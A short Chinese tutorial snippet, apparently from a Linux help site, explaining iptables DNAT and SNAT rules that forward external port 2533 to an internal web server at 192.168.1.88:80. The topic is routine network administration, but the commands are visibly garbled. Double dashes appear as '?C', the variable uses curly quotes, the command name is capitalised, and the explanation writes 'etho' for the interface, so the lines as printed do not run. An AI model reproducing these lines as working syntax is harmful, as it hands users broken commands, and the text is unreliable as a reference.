  代碼如下:

  WAN_IP=”202.106.0.20″

  Iptables -t nat -A PREROUTING -i eth0 -p tcp ?Cdport 2533 -j DNAT ?Cto 192.168.1.88:80

  Iptables -t nat -A POSTROUTING -o eth0 -s 192.168.1.88 -p tcp ?Csport 80 -j SNAT ?Cto $WAN_IP:2533

  第一句定義一個(gè)變量

  第二句實(shí)現(xiàn)對(duì)端口為2533的請(qǐng)求轉(zhuǎn)發(fā)到192.168.1.88的80端口

  第三句修改從etho輸出的源地址為192.168.1.88,端口為80的數(shù)據(jù)包的源地址為本機(jī)的2533端口,以便對(duì)方收到

  數(shù)據(jù)包之后能正確返回。

  以上所述就是本文的全部?jī)?nèi)容了,希望大家能夠喜歡。

端口轉(zhuǎn)發(fā)軟件rinetd安裝部署linux服務(wù)器應(yīng)用整理7篇(linux開通端口服務(wù))相關(guān)文章: